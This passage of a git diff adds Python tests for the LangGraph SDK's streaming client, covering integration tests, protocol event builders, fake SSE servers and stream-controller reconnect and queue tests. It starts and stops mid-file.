threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + async for _ in thread.values: + if thread.interrupted: + break + assert thread.interrupted, "expected interrupt before update_state" + + pre_state = await threads.get_state(thread.thread_id) + pre_value = (pre_state.get("values") or {}).get("value") + # `stream_message` overwrites value="init" with "x" before the interrupt. + assert pre_value == "x", f"unexpected pre-update value: {pre_value!r}" + + await _update_state_with_retry_async( + threads, thread.thread_id, {"value": _PATCHED_VALUE} + ) + + post_state = await threads.get_state(thread.thread_id) + post_value = (post_state.get("values") or {}).get("value") + assert post_value == _PATCHED_VALUE, ( + f"update_state did not persist: value={post_value!r}" + ) + + +def test_update_state_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + for _ in thread.values: + if thread.interrupted: + break + assert thread.interrupted, "expected interrupt before update_state" + + pre_state = threads.get_state(thread.thread_id) + pre_value = (pre_state.get("values") or {}).get("value") + assert pre_value == "x", f"unexpected pre-update value: {pre_value!r}" + + _update_state_with_retry_sync( + threads, thread.thread_id, {"value": _PATCHED_VALUE} + ) + + post_state = threads.get_state(thread.thread_id) + post_value = (post_state.get("values") or {}).get("value") + assert post_value == _PATCHED_VALUE, ( + f"update_state did not persist: value={post_value!r}" + ) diff --git a/libs/sdk-py/tests/integration/test_values.py b/libs/sdk-py/tests/integration/test_values.py new file mode 100644 index 0000000..9c7d489 --- /dev/null +++ b/libs/sdk-py/tests/integration/test_values.py @@ -0,0 +1,45 @@ +"""`thread.values` against the integration API.""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID, EXPECTED_TERMINAL_ITEMS + +pytestmark = pytest.mark.integration + + +async def test_values_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + # `_signal_paused` pushes None to the values subscription on the + # rising edge of `interrupted`, so this loop exits at the interrupt. + snapshots: list[dict] = [] + async for snap in thread.values: + snapshots.append(snap) + + assert thread.interrupted, f"expected interrupt; got {len(snapshots)} snapshots" + await thread.run.respond("yes") + + final = await thread.output + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + assert snapshots, "expected pre-interrupt snapshots" + + +def test_values_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + snapshots: list[dict] = [] + for snap in thread.values: + snapshots.append(snap) + + assert thread.interrupted, f"expected interrupt; got {len(snapshots)} snapshots" + thread.run.respond("yes") + + final = thread.output + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + assert snapshots, "expected pre-interrupt snapshots" diff --git a/libs/sdk-py/tests/integration/test_websocket.py b/libs/sdk-py/tests/integration/test_websocket.py new file mode 100644 index 0000000..39d5dfa --- /dev/null +++ b/libs/sdk-py/tests/integration/test_websocket.py @@ -0,0 +1,51 @@ +"""WebSocket transport against the integration API.""" + +from __future__ import annotations + +import pytest + +from .conftest import ASSISTANT_ID, EXPECTED_TERMINAL_ITEMS + +pytestmark = pytest.mark.integration + + +async def test_websocket_async(async_threads) -> None: + threads, _ = async_threads + async with threads.stream( + assistant_id=ASSISTANT_ID, transport="websocket" + ) as thread: + from langgraph_sdk.stream.transport import ProtocolWebSocketTransport + + assert isinstance(thread._transport, ProtocolWebSocketTransport) + + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + snapshots: list[dict] = [] + async for snap in thread.values: + snapshots.append(snap) + + assert thread.interrupted, "expected interrupt over ws" + await thread.run.respond("yes") + + final = await thread.output + assert final.get("items") == EXPECTED_TERMINAL_ITEMS + + +def test_websocket_sync(sync_threads) -> None: + threads, _ = sync_threads + with threads.stream(assistant_id=ASSISTANT_ID, transport="websocket") as thread: + from langgraph_sdk.stream.transport import SyncProtocolWebSocketTransport + + assert isinstance(thread._transport, SyncProtocolWebSocketTransport) + + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + snapshots: list[dict] = [] + for snap in thread.values: + snapshots.append(snap) + + assert thread.interrupted, "expected interrupt over ws" + thread.run.respond("yes") + + final = thread.output + assert final.get("items") == EXPECTED_TERMINAL_ITEMS diff --git a/libs/sdk-py/tests/streaming/__init__.py b/libs/sdk-py/tests/streaming/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/libs/sdk-py/tests/streaming/_events.py b/libs/sdk-py/tests/streaming/_events.py new file mode 100644 index 0000000..5db352d --- /dev/null +++ b/libs/sdk-py/tests/streaming/_events.py @@ -0,0 +1,318 @@ +"""Builders for protocol `Event` payloads used in tests. + +Mirrors `libs/sdk/src/client/stream/test/event-builders.ts` from the JS SDK. +""" + +from __future__ import annotations + +from typing import Any + + +def _base(seq: int, method: str, namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": method, + "params": { + "namespace": namespace, + "data": data, + }, + "seq": seq, + "event_id": f"evt-{seq}", + } + + +def _normalize_lifecycle_data(data: dict[str, Any]) -> dict[str, Any]: + """Map test-fixture shorthand to the wire shape `langgraph-api` emits. + + The server emits the lifecycle status as `data.event` with values + `running` / `completed` / `failed` / `interrupted` (see + `api/langgraph_api/event_streaming/event_normalizers.py::to_lifecycle_status`). + The fixture historically accepted `phase=` and the legacy `"errored"` + value; translate them so tests exercise the real wire format + without touching every call site. + """ + normalized = dict(data) + if "phase" in normalized and "event" not in normalized: + normalized["event"] = normalized.pop("phase") + if normalized.get("event") == "errored": + normalized["event"] = "failed" + return normalized + + +def lifecycle_event( + seq: int = 0, namespace: list[str] | None = None, **data: Any +) -> dict[str, Any]: + payload = _normalize_lifecycle_data(data) if data else {"event": "started"} + return _base(seq, "lifecycle", namespace or [], payload) + + +def lifecycle_started_event( + seq: int = 0, namespace: list[str] | None = None +) -> dict[str, Any]: + """Lifecycle event with `event="started"`.""" + return _base(seq, "lifecycle", namespace or [], {"event": "started"}) + + +def lifecycle_completed_event( + seq: int = 0, namespace: list[str] | None = None +) -> dict[str, Any]: + """Lifecycle event with `event="completed"`.""" + return _base(seq, "lifecycle", namespace or [], {"event": "completed"}) + + +def lifecycle_errored_event( + seq: int = 0, + namespace: list[str] | None = None, + error: str = "run errored", +) -> dict[str, Any]: + """Lifecycle event with `event="failed"` and an error message.""" + return _base(seq, "lifecycle", namespace or [], {"event": "failed", "error": error}) + + +def values_event( + seq: int = 0, namespace: list[str] | None = None, **data: Any +) -> dict[str, Any]: + return _base(seq, "values", namespace or [], data or {"values": {}}) + + +def updates_event( + seq: int = 0, namespace: list[str] | None = None, **data: Any +) -> dict[str, Any]: + return _base(seq, "updates", namespace or [], data or {}) + + +def checkpoints_event( + seq: int = 0, namespace: list[str] | None = None, **data: Any +) -> dict[str, Any]: + return _base(seq, "checkpoints", namespace or [], data or {}) + + +def custom_event( + seq: int = 0, name: str = "ext", namespace: list[str] | None = None, **data: Any +) -> dict[str, Any]: + payload = {"name": name, **data} if name else dict(data) + return _base(seq, "custom", namespace or [], payload) + + +def input_requested_event( + seq: int = 0, namespace: list[str] | None = None +) -> dict[str, Any]: + return _base(seq, "input.requested", namespace or [], {"interrupt_id": "i-1"}) + + +def message_start_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + message_id: str = "msg-1", + role: str = "ai", + run_id: str | None = None, + node: str = "agent", +) -> dict[str, Any]: + metadata: dict[str, Any] = {"langgraph_node": node} + if run_id is not None: + metadata["run_id"] = run_id + return _base( + seq, + "messages", + namespace or [], + { + "event": "message-start", + "id": message_id, + "role": role, + "metadata": metadata, + }, + ) + + +def message_text_delta_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + text: str, + index: int = 0, + message_id: str | None = None, +) -> dict[str, Any]: + data: dict[str, Any] = { + "event": "content-block-delta", + "index": index, + "delta": {"type": "text-delta", "text": text}, + } + if message_id is not None: + data["id"] = message_id + return _base(seq, "messages", namespace or [], data) + + +def message_text_finish_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + text: str, + index: int = 0, + message_id: str | None = None, +) -> dict[str, Any]: + data: dict[str, Any] = { + "event": "content-block-finish", + "index": index, + "content": {"type": "text", "text": text}, + } + if message_id is not None: + data["id"] = message_id + return _base(seq, "messages", namespace or [], data) + + +def message_finish_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + input_tokens: int = 1, + output_tokens: int = 1, + message_id: str | None = None, +) -> dict[str, Any]: + data: dict[str, Any] = { + "event": "message-finish", + "usage": { + "input_tokens": input_tokens, + "output_tokens": output_tokens, + "total_tokens": input_tokens + output_tokens, + }, + } + if message_id is not None: + data["id"] = message_id + return _base(seq, "messages", namespace or [], data) + + +def message_error_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + message: str = "model failed", + code: str = "provider_error", + message_id: str | None = None, +) -> dict[str, Any]: + data: dict[str, Any] = {"event": "error", "message": message, "code": code} + if message_id is not None: + data["id"] = message_id + return _base(seq, "messages", namespace or [], data) + + +def tool_started_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + tool_call_id: str = "call-1", + tool_name: str = "search", + input: Any = None, +) -> dict[str, Any]: + payload: dict[str, Any] = { + "event": "tool-started", + "tool_call_id": tool_call_id, + "tool_name": tool_name, + } + if input is not None: + payload["input"] = input + return _base(seq, "tools", namespace or [], payload) + + +def tool_output_delta_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + tool_call_id: str = "call-1", + delta: str = "", +) -> dict[str, Any]: + return _base( + seq, + "tools", + namespace or [], + { + "event": "tool-output-delta", + "tool_call_id": tool_call_id, + "delta": delta, + }, + ) + + +def tool_finished_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + tool_call_id: str = "call-1", + output: Any = None, +) -> dict[str, Any]: + return _base( + seq, + "tools", + namespace or [], + { + "event": "tool-finished", + "tool_call_id": tool_call_id, + "output": output, + }, + ) + + +def tool_error_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + tool_call_id: str = "call-1", + message: str = "tool failed", + code: str = "tool_error", +) -> dict[str, Any]: + return _base( + seq, + "tools", + namespace or [], + { + "event": "tool-error", + "tool_call_id": tool_call_id, + "message": message, + "code": code, + }, + ) + + +def tasks_start_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + task_id: str = "task-1", + name: str = "node", + input: Any = None, +) -> dict[str, Any]: + return _base( + seq, + "tasks", + namespace or [], + { + "id": task_id, + "name": name, + "input": input, + "triggers": [], + }, + ) + + +def tasks_result_event( + seq: int = 0, + namespace: list[str] | None = None, + *, + task_id: str = "task-1", + name: str = "node", + result: Any = None, + error: str | None = None, + interrupts: list[dict[str, Any]] | None = None, +) -> dict[str, Any]: + return _base( + seq, + "tasks", + namespace or [], + { + "id": task_id, + "name": name, + "result": result if result is not None else {}, + "error": error, + "interrupts": interrupts or [], + }, + ) diff --git a/libs/sdk-py/tests/streaming/_fake_server.py b/libs/sdk-py/tests/streaming/_fake_server.py new file mode 100644 index 0000000..50a7b1a --- /dev/null +++ b/libs/sdk-py/tests/streaming/_fake_server.py @@ -0,0 +1,281 @@ +"""In-process ASGI fake of the v3 protocol endpoints. + +Mirrors the production endpoints just closely enough to validate the client: + + - POST /threads/{thread_id}/commands + - POST /threads/{thread_id}/stream/events + - GET /threads/{thread_id}/state + - GET /assistants/{assistant_id}/graph +""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncIterator +from dataclasses import dataclass +from typing import Any + +import httpx +import orjson +from starlette.applications import Starlette +from starlette.requests import Request +from starlette.responses import JSONResponse, Response, StreamingResponse +from starlette.routing import Route + + +class _AsyncSseByteStream(httpx.AsyncByteStream): + """Async SSE byte stream that supports mid-stream errors via `fail_after`.""" + + def __init__(self, script: _StreamScript) -> None: + self._script = script + + async def __aiter__(self) -> AsyncIterator[bytes]: + for index, event in enumerate(self._script.events, start=1): + if self._script.delay: + await asyncio.sleep(self._script.delay) + payload = orjson.dumps(event).decode() + yield f"id: {event.get('event_id', '')}\n".encode() + yield f"event: message\ndata: {payload}\n\n".encode() + if self._script.fail_after is not None and index >= self._script.fail_after: + raise httpx.ReadError("scripted async stream failure") + + +class _CountedAsyncSseByteStream(httpx.AsyncByteStream): + """Wraps `_AsyncSseByteStream` and decrements the server's open stream counter.""" + + def __init__(self, script: _StreamScript, server: Any) -> None: + self._inner = _AsyncSseByteStream(script) + self._server = server + + async def __aiter__(self) -> AsyncIterator[bytes]: + try: + async for chunk in self._inner: + yield chunk + finally: + self._server.open_event_streams -= 1 + + +@dataclass +class _StreamScript: + events: list[dict[str, Any]] + delay: float = 0.0 + fail_after: int | None = None + + +class FakeServer: + """Holds scripted state for tests and exposes a Starlette app. + + Attributes: + received_commands: every command body posted to /commands, in order. + scripted_events: events the next /stream/events call will replay. + stream_request_bodies: bodies posted to /stream/events, in order. + command_request_headers: headers from each POST to /commands, in order. + stream_request_headers_list: headers from each POST to /stream/events, in order. + state: the `ThreadState`-shaped dict returned by GET /threads/{thread_id}/state. + state_request_count: number of times the state endpoint has been called. + state_request_headers: headers from each GET to /threads/{thread_id}/state, in order. + """ + + def __init__(self) -> None: + self.received_commands: list[dict[str, Any]] = [] + self.scripted_events: list[dict[str, Any]] = [] + self.stream_request_bodies: list[dict[str, Any]] = [] + self.command_request_headers: list[dict[str, str]] = [] + self.stream_request_headers_list: list[dict[str, str]] = [] + self._stream_delay: float = 0.0 + self._app: Starlette | None = None + self.open_event_streams = 0 + self._open_event_streams_max = 0 + self.state: dict[str, Any] = {} + self.state_request_count: int = 0 + self.state_request_headers: list[dict[str, str]] = [] + self._stream_scripts: list[_StreamScript] = [] + self._command_response: dict[str, Any] | None = None + self.transport: httpx.MockTransport = httpx.MockTransport(self._handle_request) + self.graph_response: dict[str, Any] = { + "nodes": [{"id": "agent", "type": "runnable", "data": {"name": "agent"}}], + "edges": [], + } + self.graph_request_params: list[dict[str, str]] = [] + self.graph_request_headers: list[dict[str, str]] = [] + + def script( + self, + events: list[dict[str, Any]], + *, + delay: float = 0.0, + fail_after: int | None = None, + ) -> None: + """Set the events the next /stream/events calls will replay.""" + self.scripted_events = list(events) + self._stream_delay = delay + self._stream_scripts = [ + _StreamScript(events=list(events), delay=delay, fail_after=fail_after) + ] + + def script_sequence(self, scripts: list[_StreamScript]) -> None: + """Set per-open stream scripts consumed in order by /stream/events.""" + self._stream_scripts = list(scripts) + self.scripted_events = [] + + def script_command_response(self, response: dict[str, Any]) -> None: + """Set the command envelope returned by /commands.""" + self._command_response = dict(response) + + def set_graph(self, graph: dict[str, Any]) -> None: + """Store the graph returned by GET /assistants/{assistant_id}/graph.""" + self.graph_response = dict(graph) + + def set_state( + self, + values: dict[str, Any], + next: list[Any] | None = None, + metadata: dict[str, Any] | None = None, + ) -> None: + """Store a `ThreadState`-shaped dict for GET /threads/{thread_id}/state.""" + self.state = { + "values": values, + "next": next if next is not None else [], + "tasks": [], + "metadata": metadata if metadata is not None else {}, + "checkpoint": None, + "created_at": None, + } + + @property + def app(self) -> Starlette: + if self._app is None: + self._app = self._build_app() + return self._app + + def _build_app(self) -> Starlette: + async def commands(request: Request) -> Response: + body = orjson.loads(await request.body()) + self.received_commands.append(body) + self.command_request_headers.append(dict(request.headers)) + command_id = body.get("id") + if self._command_response is not None: + response = dict(self._command_response) + response["id"] = command_id + return JSONResponse(response) + return JSONResponse( + { + "type": "success", + "id": command_id, + "result": {"run_id": "run-1"}, + } + ) + + async def stream_events(request: Request) -> Response: + self.stream_request_bodies.append(orjson.loads(await request.body())) + self.stream_request_headers_list.append(dict(request.headers)) + return StreamingResponse( + self._sse_body(), + media_type="text/event-stream", + ) + + async def thread_state(request: Request) -> Response: + self.state_request_count += 1 + self.state_request_headers.append(dict(request.headers)) + return JSONResponse(self.state) + + async def assistant_graph(request: Request) -> Response: + self.graph_request_params.append(dict(request.query_params)) + self.graph_request_headers.append(dict(request.headers)) + return JSONResponse(self.graph_response) + + return Starlette( + routes=[ + Route("/threads/{thread_id}/commands", commands, methods=["POST"]), + Route( + "/threads/{thread_id}/stream/events", + stream_events, + methods=["POST"], + ), + Route( + "/threads/{thread_id}/state", + thread_state, + methods=["GET"], + ), + Route( + "/assistants/{assistant_id}/graph", + assistant_graph, + methods=["GET"], + ), + ] + ) + + async def _sse_body(self) -> AsyncIterator[bytes]: + self.open_event_streams += 1 + self._open_event_streams_max = max( + self._open_event_streams_max, self.open_event_streams + ) + script = ( + self._stream_scripts.pop(0) + if self._stream_scripts + else _StreamScript( + events=list(self.scripted_events), delay=self._stream_delay + ) + ) + try: + for index, event in enumerate(script.events, start=1): + if script.delay: + await asyncio.sleep(script.delay) + payload = orjson.dumps(event).decode() + yield f"id: {event.get('event_id', '')}\n".encode() + yield f"event: message\ndata: {payload}\n\n".encode() + if script.fail_after is not None and index >= script.fail_after: + raise RuntimeError("scripted async stream failure") + finally: + self.open_event_streams -= 1 + + @property + def peak_open_event_streams(self) -> int: + return self._open_event_streams_max + + async def _handle_request(self, request: httpx.Request) -> httpx.Response: + """Async handler for `httpx.MockTransport` — supports proper streaming failures.""" + path = request.url.path + if path.endswith("/commands"): + body = orjson.loads(request.content) + self.received_commands.append(body) + self.command_request_headers.append(dict(request.headers)) + command_id = body.get("id") + if self._command_response is not None: + response = dict(self._command_response) + response["id"] = command_id + return httpx.Response(200, json=response) + return httpx.Response( + 200, + json={ + "type": "success", + "id": command_id, + "result": {"run_id": "run-1"}, + }, + ) + if path.endswith("/stream/events"): + self.stream_request_bodies.append(orjson.loads(request.content)) + self.stream_request_headers_list.append(dict(request.headers)) + script = ( + self._stream_scripts.pop(0) + if self._stream_scripts + else _StreamScript( + events=list(self.scripted_events), delay=self._stream_delay + ) + ) + self.open_event_streams += 1 + self._open_event_streams_max = max( + self._open_event_streams_max, self.open_event_streams + ) + # Wrap the stream to decrement open_event_streams on exhaustion. + stream = _CountedAsyncSseByteStream(script, self) + return httpx.Response( + 200, + headers={"content-type": "text/event-stream"}, + stream=stream, + ) + if path.endswith("/state"): + self.state_request_count += 1 + self.state_request_headers.append(dict(request.headers)) + return httpx.Response(200, json=self.state) + return httpx.Response(404, json={"error": f"unexpected path: {path}"}) diff --git a/libs/sdk-py/tests/streaming/_sync_fake_server.py b/libs/sdk-py/tests/streaming/_sync_fake_server.py new file mode 100644 index 0000000..6b133fc --- /dev/null +++ b/libs/sdk-py/tests/streaming/_sync_fake_server.py @@ -0,0 +1,129 @@ +"""Synchronous fake v3 protocol server for sync streaming tests.""" + +from __future__ import annotations + +from collections.abc import Iterator +from dataclasses import dataclass +from typing import Any + +import httpx +import orjson + + +@dataclass +class SyncStreamScript: + events: list[dict[str, Any]] + fail_after: int | None = None + + +class _SseByteStream(httpx.SyncByteStream): + def __init__(self, script: SyncStreamScript) -> None: + self._script = script + + def __iter__(self) -> Iterator[bytes]: + for index, event in enumerate(self._script.events, start=1): + payload = orjson.dumps(event).decode() + yield f"id: {event.get('event_id', '')}\n".encode() + yield f"event: message\ndata: {payload}\n\n".encode() + if self._script.fail_after is not None and index >= self._script.fail_after: + raise httpx.ReadError("scripted sync stream failure") + + +class SyncFakeServer: + """Synchronous fake for `/commands`, `/stream/events`, and `/state`.""" + + def __init__(self) -> None: + self.received_commands: list[dict[str, Any]] = [] + self.stream_request_bodies: list[dict[str, Any]] = [] + self.command_request_headers: list[dict[str, str]] = [] + self.stream_request_headers_list: list[dict[str, str]] = [] + self.state_request_headers: list[dict[str, str]] = [] + self.state_request_count = 0 + self.scripted_events: list[dict[str, Any]] = [] + self.state: dict[str, Any] = {} + self.transport = httpx.MockTransport(self._handle) + self._stream_scripts: list[SyncStreamScript] = [] + self._command_response: dict[str, Any] | None = None + self.graph_response: dict[str, Any] = { + "nodes": [{"id": "agent", "type": "runnable", "data": {"name": "agent"}}], + "edges": [], + } + self.graph_request_params: list[dict[str, str]] = [] + self.graph_request_headers: list[dict[str, str]] = [] + + def script( + self, + events: list[dict[str, Any]], + *, + fail_after: int | None = None, + ) -> None: + self.scripted_events = list(events) + self._stream_scripts = [ + SyncStreamScript(events=list(events), fail_after=fail_after) + ] + + def script_sequence(self, scripts: list[SyncStreamScript]) -> None: + self._stream_scripts = list(scripts) + self.scripted_events = [] + + def set_graph(self, graph: dict[str, Any]) -> None: + self.graph_response = dict(graph) + + def script_command_response(self, response: dict[str, Any]) -> None: + self._command_response = dict(response) + + def set_state( + self, + values: dict[str, Any], + next: list[Any] | None = None, + metadata: dict[str, Any] | None = None, + ) -> None: + self.state = { + "values": values, + "next": next if next is not None else [], + "tasks": [], + "metadata": metadata if metadata is not None else {}, + "checkpoint": None, + "created_at": None, + } + + def _handle(self, request: httpx.Request) -> httpx.Response: + path = request.url.path + if path.endswith("/commands"): + body = orjson.loads(request.content) + self.received_commands.append(body) + self.command_request_headers.append(dict(request.headers)) + if self._command_response is not None: + response = dict(self._command_response) + response["id"] = body.get("id") + return httpx.Response(200, json=response) + return httpx.Response( + 200, + json={ + "type": "success", + "id": body.get("id"), + "result": {"run_id": "run-1"}, + }, + ) + if path.endswith("/stream/events"): + self.stream_request_bodies.append(orjson.loads(request.content)) + self.stream_request_headers_list.append(dict(request.headers)) + script = ( + self._stream_scripts.pop(0) + if self._stream_scripts + else SyncStreamScript(events=list(self.scripted_events)) + ) + return httpx.Response( + 200, + headers={"content-type": "text/event-stream"}, + stream=_SseByteStream(script), + ) + if path.endswith("/graph") and "/assistants/" in path: + self.graph_request_params.append(dict(request.url.params)) + self.graph_request_headers.append(dict(request.headers)) + return httpx.Response(200, json=self.graph_response) + if path.endswith("/state"): + self.state_request_count += 1 + self.state_request_headers.append(dict(request.headers)) + return httpx.Response(200, json=self.state) + return httpx.Response(404, json={"error": f"unexpected path: {path}"}) diff --git a/libs/sdk-py/tests/streaming/assert_transport_replays.py b/libs/sdk-py/tests/streaming/assert_transport_replays.py new file mode 100644 index 0000000..88e5429 --- /dev/null +++ b/libs/sdk-py/tests/streaming/assert_transport_replays.py @@ -0,0 +1,73 @@ +"""Public conformance helper for the transport replay contract. + +Usage: + + from tests.streaming.assert_transport_replays import assert_transport_replays + + async def test_my_transport(): + async with my_transport_factory() as harness: + await assert_transport_replays(harness) + +The helper publishes a few events into a transport's underlying buffer +(via whatever side-channel the implementation exposes — typically by +scripting the fake server) and verifies that a fresh `open_event_stream` +yields them all before any new live events. +""" + +from __future__ import annotations + +import asyncio +from typing import Protocol + +from langchain_protocol import Event + +from langgraph_sdk.stream.transport.http import ProtocolSseTransport +from streaming._events import lifecycle_event + + +class _ReplayableHarness(Protocol): + transport: ProtocolSseTransport + + def script_buffered(self, events: list[dict]) -> None: ... + + +async def assert_transport_replays( + harness: _ReplayableHarness, + *, + buffered_count: int = 3, + timeout: float = 1.0, +) -> None: + """Assert that `harness.transport` replays buffered events on subscribe. + + Args: + harness: object exposing an open `ProtocolSseTransport` plus a + `script_buffered(events)` method that queues events as if they + were buffered server-side before the subscription opens. + buffered_count: how many synthetic events to script. + timeout: per-step await timeout in seconds. + + Raises: + AssertionError: when fewer than `buffered_count` events arrive (or + arrive out of order) on the fresh stream before it closes. + """ + events = [lifecycle_event(seq=i) for i in range(buffered_count)] + harness.script_buffered(events) + handle = harness.transport.open_event_stream({"channels": ["lifecycle"]}) + await asyncio.wait_for(handle.ready, timeout=timeout) + + received: list[Event] = [] + + async def drain() -> None: + async for event in handle.events: + received.append(event) + + try: + await asyncio.wait_for(drain(), timeout=timeout) + finally: + await handle.close() + + seqs = [e["seq"] for e in received] + assert seqs == list(range(buffered_count)), ( + f"transport did not replay buffered events: expected " + f"{list(range(buffered_count))}, got {seqs}" + ) diff --git a/libs/sdk-py/tests/streaming/test_controller.py b/libs/sdk-py/tests/streaming/test_controller.py new file mode 100644 index 0000000..e9c7167 --- /dev/null +++ b/libs/sdk-py/tests/streaming/test_controller.py @@ -0,0 +1,353 @@ +"""Tests for StreamController, _SeenEventIds, and related stream/controller.py types.""" + +from __future__ import annotations + +import asyncio +from collections.abc import AsyncIterator +from typing import Any +from unittest.mock import AsyncMock + +import pytest + +from langgraph_sdk.stream.controller import StreamController, _SeenEventIds +from langgraph_sdk.stream.transport.http import EventStreamHandle + +# --------------------------------------------------------------------------- +# Task 3.1: bounded subscription queues +# --------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_subscription_queue_bounded_by_max_queue_size(): + """`StreamController` must create per-subscription queues bounded by `max_queue_size`.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + transport = ProtocolSseTransport( + client=httpx.AsyncClient(base_url="http://test"), + thread_id="t-1", + ) + controller = StreamController(transport=transport, max_queue_size=4) + sub = controller._register_subscription({"channels": ["values"]}) + assert sub.queue.maxsize == 4 + + +@pytest.mark.asyncio +async def test_subscription_queue_default_max_queue_size_is_1024(): + """`StreamController` default `max_queue_size` is 1024.""" + import httpx + + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + transport = ProtocolSseTransport( + client=httpx.AsyncClient(base_url="http://test"), + thread_id="t-1", + ) + controller = StreamController(transport=transport) + sub = controller._register_subscription({"channels": ["values"]}) + assert sub.queue.maxsize == 1024 + + +# --------------------------------------------------------------------------- +# Task 3.2: bounded LRU seen-event-ids +# --------------------------------------------------------------------------- + + +def test_seen_event_ids_is_bounded_lru(): + """`_SeenEventIds` must evict oldest entries when capacity is exceeded. + + Default cap is 10_000; explicit kwarg overrides. + """ + seen = _SeenEventIds(maxsize=3) + seen.add("a") + seen.add("b") + seen.add("c") + assert "a" in seen + seen.add("d") + assert "a" not in seen # evicted + assert {"b", "c", "d"} <= set(seen) + + +def test_seen_event_ids_move_to_end_on_re_add(): + """`_SeenEventIds.add` of an existing key must promote it (LRU move-to-end).""" + seen = _SeenEventIds(maxsize=3) + seen.add("a") + seen.add("b") + seen.add("c") + # Re-adding "a" should promote it so "b" is evicted next. + seen.add("a") + seen.add("d") + assert "b" not in seen # "b" was the oldest, "a" was promoted + assert "a" in seen + + +def test_seen_event_ids_default_maxsize_is_10000(): + """Default `_SeenEventIds` max is 10_000.""" + seen = _SeenEventIds() + # Add 10_000 + 1 entries. + for i in range(10_001): + seen.add(str(i)) + # "0" (the first added) should have been evicted. + assert "0" not in seen + assert "10000" in seen + + +def test_seen_event_ids_contains_false_for_missing(): + seen = _SeenEventIds(maxsize=10) + assert "missing" not in seen + + +def test_seen_event_ids_iter_returns_keys(): + seen = _SeenEventIds(maxsize=10) + seen.add("x") + seen.add("y") + assert set(seen) == {"x", "y"} + + +# --------------------------------------------------------------------------- +# Task 3.3: close() awaits pending rotation closes +# --------------------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_close_awaits_pending_rotation_closes(): + """When a rotation is mid-flight, controller.close() must await the old + stream close before returning.""" + import asyncio as _asyncio + + import httpx + + from langgraph_sdk.stream.controller import _close_after + from langgraph_sdk.stream.transport.http import ProtocolSseTransport + + rotation_close_done = _asyncio.Event() + + class _SlowHandle: + """A fake EventStreamHandle whose close() takes a moment.""" + + def __init__(self): + self.events = self._empty() + loop = _asyncio.get_running_loop() + self.ready: _asyncio.Future[None] = loop.create_future() + self.ready.set_result(None) + self.done: _asyncio.Future[None] = loop.create_future() + + async def _empty(self): + if False: + yield # pragma: no cover + + async def close(self): + await _asyncio.sleep(0.05) + rotation_close_done.set() + + transport = ProtocolSseTransport( + client=httpx.AsyncClient(base_url="http://test"), + thread_id="t-1", + ) + controller = StreamController(transport=transport) + + # Simulate a mid-flight rotation close by directly injecting a task. + slow_handle = _SlowHandle() + task = _asyncio.create_task( + _close_after(slow_handle) # ty: ignore[invalid-argument-type] + ) + controller._rotation_close_tasks.add(task) + task.add_done_callback(controller._rotation_close_tasks.discard) + + # close() must block until the rotation close completes. + await controller.close() + assert rotation_close_done.is_set() + + +# --------------------------------------------------------------------------- +# Reconnect helpers +# --------------------------------------------------------------------------- + + +def _make_handle( + *, + error: BaseException | None = None, +) -> EventStreamHandle: + """Build a minimal EventStreamHandle that closes immediately.""" + loop = asyncio.get_running_loop() + ready: asyncio.Future[None] = loop.create_future() + ready.set_result(None) + done: asyncio.Future[BaseException | None] = loop.create_future() + done.set_result(error) + + async def _aiter() -> AsyncIterator[Any]: + if False: + yield # pragma: no cover + + return EventStreamHandle( + events=_aiter(), + ready=ready, + done=done, + close=AsyncMock(), + ) + + +def _always_error_transport(error_type: type[Exception] = RuntimeError) -> Any: + """Return a fake transport whose open_event_stream always raises.""" + + class _Transport: + def open_event_stream(self, _params: dict[str, Any]) -> EventStreamHandle: + raise error_type("scripted transport error") + + return _Transport() + + +def _error_then_succeed_transport(fail_count: int) -> Any: + """Return a fake transport that fails *fail_count* times then succeeds.""" + calls = [0] + + class _Transport: + def open_event_stream(self, _params: dict[str, Any]) -> EventStreamHandle: + calls[0] += 1 + if calls[0] <= fail_count: + raise RuntimeError(f"scripted error #{calls[0]}") + return _make_handle() + + return _Transport() + + +# --------------------------------------------------------------------------- +# Task 8.1: Exp+jitter backoff +# --------------------------------------------------------------------------- + + +@pytest.mark.anyio +async def test_reconnect_uses_exp_backoff_with_jitter(monkeypatch): + """Reconnect attempts should sleep increasing durations with jitter, + not a fixed 50ms.""" + sleeps: list[float] = [] + + async def fake_sleep(d: float) -> None: + sleeps.append(d) + + monkeypatch.setattr("asyncio.sleep", fake_sleep) + + transport = _always_error_transport() + controller = StreamController( + transport=transport, + run_start_gate=AsyncMock(), + max_reconnect_attempts=3, + reconnect_backoff_base=0.1, + reconnect_backoff_cap=2.0, + ) + # Seed filter so reconnect doesn't bail early. + controller._shared_stream_filter = {"channels": ["lifecycle"]} + + await controller._reconnect_shared_stream() + + # Should have slept once per attempt. + assert len(sleeps) == 3 + # All sleeps within [base, cap + 25% jitter]. + assert all(0.1 <= s <= 2.5 